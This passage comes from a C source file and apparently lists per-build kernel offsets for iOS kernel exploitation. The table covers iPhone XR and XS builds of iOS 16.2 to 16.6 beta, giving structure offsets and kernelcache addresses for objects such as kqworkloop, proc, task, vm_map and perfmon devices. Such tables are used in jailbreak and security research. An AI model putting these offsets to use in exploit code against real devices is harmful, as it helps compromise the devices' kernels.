0xfffffff0077ffd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0077fdf28,\n        .kernelcache__perfmon_devices = 0xfffffff00a130380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e3b398,\n        .kernelcache__ptov_table = 0xfffffff0077b3288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a12f800,\n        .kernelcache__vm_pages = 0xfffffff0077b00c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077b2248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a12f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007e8da20,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a1a9208,\n        .kernelcache__gPhysBase = 0xfffffff0078d7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078d7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078d6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a1e7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n        .kernelcache__ptov_table = 0xfffffff00788b160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1e6990,\n        .kernelcache__vm_pages = 0xfffffff007887ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788a110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1e6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a1a9208,\n        .kernelcache__gPhysBase = 0xfffffff0078d7fa0,\n        .kernelcache__gPhysSize = 0xfffffff0078d7fa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078d6178,\n        .kernelcache__perfmon_devices = 0xfffffff00a1e7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e55a88,\n        .kernelcache__ptov_table = 0xfffffff00788b160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1e6990,\n        .kernelcache__vm_pages = 0xfffffff007887ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788a110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1e6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ea463c,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a1b1288,\n        .kernelcache__gPhysBase = 0xfffffff0078dc0e0,\n        .kernelcache__gPhysSize = 0xfffffff0078dc0e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078da2b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a1ef500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e59c8c,\n        .kernelcache__ptov_table = 0xfffffff00788f160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a1ee990,\n        .kernelcache__vm_pages = 0xfffffff00788bea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a1ee988,\n        .kernelcache__vn_kqfilter = 0xfffffff007ea8ad8,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone11,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a249ab0,\n        .kernelcache__gPhysBase = 0xfffffff0078ec288,\n        .kernelcache__gPhysSize = 0xfffffff0078ec288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078ea440,\n        .kernelcache__perfmon_devices = 0xfffffff00a289530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e7a434,\n        .kernelcache__ptov_table = 0xfffffff00789f9a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a288910,\n        .kernelcache__vm_pages = 0xfffffff00789c0f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00789e950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a288908,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec8c44,\n    },\n // End iPhone XR //\n // Start iPhone XS //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone11,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a235178,\n        .kernelcache__gPhysBase = 0xfffffff00781fc60,\n        .kernelcache__gPhysSize = 0xfffffff00781fc60 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00781de40,\n        .kernelcache__perfmon_devices = 0xfffffff00a270380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e773ac,\n        .kernelcache__ptov_table = 0xfffffff0077d3248,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a26f800,\n        .kernelcache__vm_pages = 0xfffffff0077d0080,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077d2208,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a26f7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a44,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone11,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a239178,\n        .kernelcache__gPhysBase = 0xfffffff00781bd48,\n        .kernelcache__gPhysSize = 0xfffffff00781bd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007819f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a274380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e77398,\n        .kernelcache__ptov_table = 0xfffffff0077cf288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800,\n        .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a20,\n    },\n    // iOS 16.3.1 //\n        {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone11,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a239178,\n        .kernelcache__gPhysBase = 0xfffffff00781bd48,\n        .kernelcache__gPhysSize = 0xfffffff00781bd48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007819f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a274380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007e77398,\n        .kernelcache__ptov_table = 0xfffffff0077cf288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800,\n        .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007ec9a20,\n    },\n\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone11,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        